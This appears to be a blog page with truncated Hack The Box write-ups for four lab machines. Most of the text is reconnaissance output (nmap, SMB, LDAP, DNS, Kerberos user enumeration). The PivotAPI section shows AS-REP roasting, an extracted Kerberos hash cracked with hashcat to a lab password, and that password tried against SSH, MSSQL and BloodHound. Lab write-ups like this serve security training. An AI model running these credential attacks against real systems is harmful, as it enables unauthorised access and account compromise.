Hero Image
[HTB] Machine: Absolute

Absolute

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.11.181 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-03 19:44 BST
Nmap scan report for 10.10.11.181 (10.10.11.181)
Host is up (0.10s latency).
Not shown: 65509 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49686/tcp open  unknown
49692/tcp open  unknown
49699/tcp open  unknown
49703/tcp open  unknown

└─$ nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.10.11.181  --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-03 19:36 BST
Nmap scan report for 10.10.11.181 (10.10.11.181)
Host is up (0.18s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-04 01:35:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:48+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:49+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
|_ssl-date: 2023-10-04T01:36:48+00:00; +6h59m17s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-04T01:36:49+00:00; +6h59m17s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-04T01:36:42
|_  start_date: N/A
|_clock-skew: mean: 6h59m16s, deviation: 0s, median: 6h59m16s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.79 seconds
  • smb
└─$ smbclient -N -L //10.10.11.181                                                               
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.181 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • ldap
└─$ ldapsearch -H ldap://dc.absolute.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=absolute,DC=htb
namingcontexts: CN=Configuration,DC=absolute,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=absolute,DC=htb
namingcontexts: DC=DomainDnsZones,DC=absolute,DC=htb
namingcontexts: DC=ForestDnsZones,DC=absolute,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://dc.absolute.htb -x  -b "DC=absolute,DC=htb"  
# extended LDIF
#
# LDAPv3
# base <DC=absolute,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
  • dns
└─$ dig absolute.htb @dc.absolute.htb                                                                                   

; <<>> DiG 9.18.16-1-Debian <<>> absolute.htb @dc.absolute.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38236
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;absolute.htb.                  IN      A

;; ANSWER SECTION:
absolute.htb.           600     IN      A       10.10.11.181

;; Query time: 103 msec
;; SERVER: 10.10.11.181#53(dc.absolute.htb) (UDP)
;; WHEN: Wed Oct 04 17:29:51 BST 2023
;; MSG SIZE  rcvd: 57

└─$ dig axfr absolute.htb @dc.absolute.htb 

; <<>> DiG 9.18.16-1-Debian <<>> axfr absolute.htb @dc.absolute.htb
;; global options: +cmd
; Transfer failed.
  • dnsenum
└─$ dnsenum --dnsserver 10.10.11.181 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt absolute.htb
dnsenum VERSION:1.2.6

-----   absolute.htb   -----                                                                                                                                                                                                                


Host's addresses:                                                                                                                                                                                                                           
__________________                                                                                                                                                                                                                          

absolute.htb.                            600      IN    A        10.10.11.181                                                                                                                                                               


Name Servers:                                                                                                                                                                                                                               
______________                                                                                                                                                                                                                              

dc.absolute.htb.                         1200     IN    A        10.10.11.181                                                                                                                                                               


Mail (MX) Servers:                                                                                                                                                                                                                          
___________________                                                                                                                                                                                                                         


Trying Zone Transfers and getting Bind Versions:                                                                                                                                                                                            
_________________________________________________                                                                                                                                                                                           

unresolvable name: dc.absolute.htb at /usr/bin/dnsenum line 900.                                                                                                                                                                            
                                                                                                                                                                                                                                            
Trying Zone Transfer for absolute.htb on dc.absolute.htb ... 
AXFR record query failed: no nameservers


Brute forcing with /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:                                                                                                                                                     
________________________________________________________________________________________                                                                                                                                                    
  
dc.absolute.htb.                         1200     IN    A        10.10.11.181                                                                                                                                                               
domaindnszones.absolute.htb.             600      IN    A        10.10.11.181
forestdnszones.absolute.htb.             600      IN    A        10.10.11.181

absolute.htb class C netranges:
________________________________


Performing reverse lookup on 0 ip addresses:
_____________________________________________

0 results out of 0 IP addresses.

absolute.htb ip blocks:
________________________

done.
  • Web Server

Wednesday, October 4, 2023 | 17 minutes Read
Hero Image
[HTB] Machine: Multimaster

Multimaster

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.179 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 19:46 BST
Nmap scan report for 10.10.10.179 (10.10.10.179)
Host is up (0.13s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
49666/tcp open  unknown
49667/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49678/tcp open  unknown
49698/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 45.14 seconds

└─$ nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.10.10.179 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 19:46 BST
Nmap scan report for 10.10.10.179 (10.10.10.179)
Host is up (0.56s latency).

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: 403 - Forbidden: Access is denied.
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-08 18:52:31Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp  open               Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf       .NET Message Framing
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m16s, deviation: 4h02m30s, median: 6m16s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2023-10-08T18:52:41
|_  start_date: 2023-10-08T18:50:58
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: MULTIMASTER
|   NetBIOS computer name: MULTIMASTER\x00
|   Domain name: MEGACORP.LOCAL
|   Forest name: MEGACORP.LOCAL
|   FQDN: MULTIMASTER.MEGACORP.LOCAL
|_  System time: 2023-10-08T11:52:40-07:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.26 seconds
  • smb
└─$ smbclient -N -L //10.10.10.179                            
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.179 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • Web Server

Wednesday, October 4, 2023 | 23 minutes Read
Hero Image
[HTB] Machine: PivotAPI

PivotAPI

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.240 --min-rate 5000                                                                              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:10 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49708/tcp open  unknown
52843/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds

└─$ nmap -Pn -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389 -sC -sV 10.10.10.240 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:12 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
| 02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20  01:18PM               219091 notes1.pdf
| 08-08-20  01:34PM               279445 notes2.pdf
| 08-08-20  01:41PM                  105 README.txt
|_02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
22/tcp   open     ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
|   256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_  256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-05 19:12:42Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  filtered ldap
445/tcp  open     microsoft-ds?
464/tcp  filtered kpasswd5
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped
1433/tcp open     ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.240:1433: 
|     Target_Name: LICORDEBELLOTA
|     NetBIOS_Domain_Name: LICORDEBELLOTA
|     NetBIOS_Computer_Name: PIVOTAPI
|     DNS_Domain_Name: LicorDeBellota.htb
|     DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
|     DNS_Tree_Name: LicorDeBellota.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.10.240:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-05T19:05:41
|_Not valid after:  2053-10-05T19:05:41
|_ssl-date: 2023-10-05T19:13:30+00:00; -7h00m01s from scanner time.
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-05T19:12:54
|_  start_date: N/A
|_clock-skew: mean: -7h00m01s, deviation: 0s, median: -7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.10 seconds
  • smb
└─$ smbclient -N -L //10.10.10.240                                                              
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • dns
└─$ dig axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb                                                   

; <<>> DiG 9.19.17-1-Debian <<>> axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb
;; global options: +cmd
; Transfer failed.
  • ldapsearch
└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -s base namingcontexts           
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=LicorDeBellota,DC=htb
namingcontexts: CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: DC=DomainDnsZones,DC=LicorDeBellota,DC=htb
namingcontexts: DC=ForestDnsZones,DC=LicorDeBellota,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -b "DC=LicorDeBellota,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=LicorDeBellota,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
  • No results for rpc
  • ftp
└─$ ftp anonymous@10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57367|)
150 Opening ASCII mode data connection.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
  • Running exiftool on pdf files shows LicorDeBellota.htb\kaorz
======== notes2.pdf
ExifTool Version Number         : 12.67
File Name                       : notes2.pdf
Directory                       : .
File Size                       : 279 kB
File Modification Date/Time     : 2020:08:08 12:34:25+01:00
File Access Date/Time           : 2023:10:06 19:12:03+01:00
File Inode Change Date/Time     : 2023:10:06 19:12:03+01:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
XMP Toolkit                     : Image::ExifTool 12.03
Creator                         : Kaorz
Publisher                       : LicorDeBellota.htb
Producer                        : cairo 1.10.2 (http://cairographics.org)

Foothold

  • Let’s check if user is AS-REP-roastable
└─$ impacket-GetNPUsers -dc-ip PivotAPI.LicorDeBellota.htb LicorDeBellota.htb/kaorz -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441
  • Let’s crack it
    • kaorz:Roper4155
└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1435/2934 MB (512 MB allocatable), 2MCU
...
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441:Roper4155
  • The creds didn’t work for ssh
└─$ sshpass -p 'Roper4155' ssh kaorz@10.10.10.240
Warning: Permanently added '10.10.10.240' (ED25519) to the list of known hosts.
Permission denied, please try again.
  • No SPNs
└─$ impacket-GetUserSPNs LicorDeBellota.htb/Kaorz:'Roper4155' -dc-ip 10.10.10.240  
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!
  • No access to mysql
└─$ impacket-mssqlclient LicorDeBellota.htb/Kaorz:'Roper4155'@10.10.10.240 -windows-auth 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\Kaorz'.

User

  • Let’s check bloodhound
└─$ bloodhound-python -u kaorz -p 'Roper4155' -d licordebellota.htb -dc licordebellota.htb -ns 10.10.10.240 --zip
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 16S
INFO: Compressing output into 20231007112624_bloodhound.zip
  • Nothing interesting
    • Domain Users

Wednesday, October 4, 2023 | 21 minutes Read
Hero Image
[HTB] Machine: Tentacle

Tentacle

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.224 -T4 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 20:09 BST
Nmap scan report for 10.10.10.224 (10.10.10.224)
Host is up (0.093s latency).
Not shown: 65495 filtered tcp ports (no-response), 36 filtered tcp ports (host-unreach)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
88/tcp   open  kerberos-sec
3128/tcp open  squid-http

Nmap done: 1 IP address (1 host up) scanned in 39.58 seconds

└─$ nmap -Pn -p22,53,88,3128 -sC -sV 10.10.10.224 -T4 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 20:12 BST
Nmap scan report for 10.10.10.224 (10.10.10.224)
Host is up (0.12s latency).

PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 8d:dd:18:10:e5:7b:b0:da:a3:fa:14:37:a7:52:7a:9c (RSA)
|   256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA)
|_  256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519)
53/tcp   open  domain       ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid: 
|_  bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp   open  kerberos-sec MIT Kerberos (server time: 2023-09-26 19:11:56Z)
3128/tcp open  http-proxy   Squid http proxy 4.11
|_http-server-header: squid/4.11
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.44 seconds

└─$ sudo nmap -Pn -sU 10.10.10.224 -T4 --min-rate 5000
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 20:13 BST
Nmap scan report for 10.10.10.224 (10.10.10.224)
Host is up (0.10s latency).
Not shown: 991 open|filtered udp ports (no-response)
PORT      STATE    SERVICE
53/udp    open     domain
88/udp    open     kerberos-sec
123/udp   open     ntp
17787/udp filtered unknown
20560/udp filtered unknown
21016/udp filtered unknown
40019/udp filtered unknown
44185/udp filtered unknown
49179/udp filtered unknown
  • dns
└─$ dig axfr @10.10.10.224
;; communications error to 10.10.10.224#53: timed out
;; communications error to 10.10.10.224#53: timed out

; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.10.224
; (1 server found)
;; global options: +cmd
;; Query time: 175 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Wed Sep 27 17:09:26 BST 2023
;; MSG SIZE  rcvd: 56

└─$ dig realcorp.htb @10.10.10.224

; <<>> DiG 9.18.16-1-Debian <<>> realcorp.htb @10.10.10.224
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20726
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1d3b122485d1c4e6706e605e651453ed994c22dca6111a8b (good)
;; QUESTION SECTION:
;realcorp.htb.                  IN      A

;; AUTHORITY SECTION:
realcorp.htb.           86400   IN      SOA     realcorp.htb. root.realcorp.htb. 199609206 28800 7200 2419200 86400

;; Query time: 91 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Wed Sep 27 17:11:02 BST 2023
;; MSG SIZE  rcvd: 110

└─$ dig axfr realcorp.htb @10.10.10.224

; <<>> DiG 9.18.16-1-Debian <<>> axfr realcorp.htb @10.10.10.224
;; global options: +cmd
; Transfer failed.
  • dnsenum
└─$ dnsenum --dnsserver 10.10.10.224 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt realcorp.htb
dnsenum VERSION:1.2.6

-----   realcorp.htb   -----                                                                                                                                                                                                                

Host's addresses:                                                                                                                                                                                                                           
__________________                                                                                                                                                                                                                          
Name Servers:                                                                                                                                                                                                                               
______________                                                                                                                                                                                                                              

ns.realcorp.htb.                         259200   IN    A        10.197.243.77

Mail (MX) Servers:                                                                                                                                                                                                                          
___________________                                                                                                                                                                                                                           
Trying Zone Transfers and getting Bind Versions:                                                                                                                                                                                            
_________________________________________________                                                                                                                                                                                           

unresolvable name: ns.realcorp.htb at /usr/bin/dnsenum line 900.                                                                                                                                                                            
        
Trying Zone Transfer for realcorp.htb on ns.realcorp.htb ... 
AXFR record query failed: no nameservers
    
Brute forcing with /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:                                                                                                                                                     
________________________________________________________________________________________                                                                                                                                         
ns.realcorp.htb.                         259200   IN    A        10.197.243.77
proxy.realcorp.htb.                      259200   IN    CNAME    ns.realcorp.htb.
ns.realcorp.htb.                         259200   IN    A        10.197.243.77
wpad.realcorp.htb.                       259200   IN    A        10.197.243.31
  • kerbrute
└─$ ./kerbrute userenum -d realcorp.htb --dc realcorp.htb /usr/share/seclists/Usernames/cirt-default-usernames.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 09/27/23 - Ronnie Flathers @ropnop

2023/09/27 17:24:12 >  Using KDC(s):
2023/09/27 17:24:12 >   realcorp.htb:88

2023/09/27 17:24:27 >  Done! Tested 828 usernames (0 valid) in 15.460 seconds
  • ntp
└─$ sudo nmap -Pn --script "ntp*" -sU -sV -p123 realcorp.htb
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-27 17:27 BST
Nmap scan report for realcorp.htb (10.10.10.224)
Host is up (0.13s latency).

PORT    STATE SERVICE VERSION
123/udp open  ntp     NTP v4 (secondary server)
| ntp-info: 
|_  receive time stamp: 2023-09-27T16:26:39

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.67 seconds

└─$ date; ntpdate -q 10.10.10.224
Wed Sep 27 05:30:03 PM BST 2023
2023-09-27 17:29:22.601161 (+0100) -40.729112 +/- 0.083173 10.10.10.224 s10 no-leap
  • squid version 4.11
    • srv01.realcorp.htb
